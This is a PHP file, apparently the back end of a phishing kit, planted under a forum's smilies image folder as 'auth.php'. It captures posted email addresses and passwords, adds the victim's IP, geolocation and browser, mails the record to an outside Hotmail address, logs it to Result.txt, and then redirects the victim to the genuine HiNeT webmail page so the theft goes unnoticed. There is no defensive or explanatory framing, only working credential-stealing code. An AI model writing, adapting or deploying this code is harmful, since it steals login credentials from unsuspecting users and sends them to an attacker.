File: /home/asjudine/www/images/forum/smilies/auth.php
<?php
$mailid = $_POST['mailid'];
$password = $_POST['password'];
require_once('geoplugin.class.php');
$geoplugin = new geoPlugin();
$geoplugin->locate();
$date = gmdate ("Y-n-d");
$time = gmdate ("H:i:s");
$browser = $_SERVER['HTTP_USER_AGENT'];
$message .= "=============+ LOGS +=============\n";
$message .= "Email: ".$_POST['mailid']."\n";
$message .= "Password: ".$_POST['password']."\n";
$message .= "============= [ip] =============\n";
$message .= "IP: {$geoplugin->ip}\n";
$message .= "City: {$geoplugin->city}\n";
$message .= "Region: {$geoplugin->region}\n";
$message .= "Country Name: {$geoplugin->countryName}\n";
$message .= "Country Code: {$geoplugin->countryCode}\n";
$message .= "User-Agent: ".$browser."\n";
$message.= "Date Log : ".$date."\n";
$message.= "Time Log : ".$time."\n";
$domain = 'HiNeT';
$subj = "Logs | $geoplugin->ip | $geoplugin->countryCode | $geoplugin->countryName";
$from = "From: $domain<west>\n";
mail("lyndacom@hotmail.com",$subj,$message,$from,$domain);
file_put_contents('Result.txt', $message, FILE_APPEND);
header("Location: https://sg1001.webmail.hinet.net/mailService/mail/M_main_1.do");
?>